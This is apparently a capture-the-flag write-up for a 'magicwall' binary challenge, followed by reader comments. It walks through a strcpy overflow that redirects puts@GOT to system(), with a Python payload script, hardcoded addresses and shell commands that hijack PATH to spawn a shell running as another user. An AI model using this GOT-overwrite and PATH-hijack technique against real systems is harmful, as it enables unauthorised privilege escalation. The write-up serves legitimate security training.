Hellman (@hellman1908) already made a very good writeup, I just wanted to share my different method.
Analysis
Connect to the server with:1 | ssh -p 7022 ctf@pirates.fluxfingers.net # pass ctf |
The protections here are ASCII-armor (libc mapped in 0x00------) and non executable stack. There is no ASLR.
The program needs 2 arguments, the first one is a string that will be xored with constant 0xdefaced and the second one is the signed sum of every character after the xor operation:
1 2 3 4 5 6 7 8 9 10 11 12 | *(_DWORD *)secret = 0xDEFACEDu; if ( argc > 2 ) { len = strlen (argv[1]); givensum = atoi (argv[2]); dest = buf; for ( i = 0; i < len; ++i ) { argv[1][i] ^= secret[i % 4]; if ( !(i & 3) ) sum += argv[1][i]; } |
1 2 3 | strcpy (dest, argv[1]); if ( givensum == sum ) strcpy (dest, argv[1]); |
1 2 3 4 5 | if ( cookie != global_protector ) { puts ( "This move was absolutely NOT cool!" ); kill_all(); } |
main() stack is as follow:
1 2 3 | char buf[136]; // [sp+40h] [bp-98h]@3 char *dest; // [sp+C8h] [bp-10h]@3 int cookie; // [sp+CCh] [bp-Ch]@1 |
- return address of main, but we need a 1 byte bruteforce of the cookie as hellman explains it
- return address of the second strcpy, that's what hellman used, very cool
- the address of puts in the GOT
I chose to rewrite the address of puts@GOT by the address of system(). Doing so would give us:
1 | system ( "This move was absolutely NOT cool!" ); |
Exploitation
Since there is no ASLR, we can quickly get the address of system() with gdb:1 2 | gdb$ p &system $1 = (<text variable, no debug info> *) 0x001672a0 <system> |
1 | address of system + PADDING + rewrite DEST with address of puts@GOT |
1 | PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of system |
We also need a small wrapper for our payload to pass the xor and also to compute the signed sum:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #!/usr/bin/env python from sys import argv from struct import pack,unpack def xor(a,b): return "".join( chr ( ord (a[i])^ ord (b[i % len (b)])) for i in range ( len (a))) # puts@GOT system@libc a = "A" * 136 + pack( "<I" , 0x80499d0 - 136 - 4 ) + pack( "<I" , 0x001672a0 ) if len (argv)> 1 : print sum (unpack( "<b" ,a[i])[ 0 ] for i in range ( len (a)) if i % 4 = = 0 ) else : print xor(a, pack( "<I" , 0xdefaced )) |
And here we go:
1 2 3 4 | ctf:~$ echo - ne '#!/bin/sh\n/bin/sh' > This ; chmod a+x This ctf:~$ PATH= ".:$PATH" ~ /magicwall "$(python p.py)" "$(python p.py s)" $ id uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups =1000(ctf) |
cool :)
ReplyDelete> PADDING + (rewrite DEST with address of puts@GOT -136 -4) + address of system
ReplyDeletereally nice & tricky ;)
you've opened my eyes
Hi,
ReplyDeletegreat writeup, very interesting to read.
How you were able to get the source of the file,
this looks not like decompilated code from the binary. You just say "quickly reverse it", but I see now quick way :)
Thanks!
ReplyDeleteSoftwares such as Hex-Rays plugin for IDA Pro can decompile from disassembly. Then, you rename and change the type of a few functions and variables, and your result can be close to the original source code.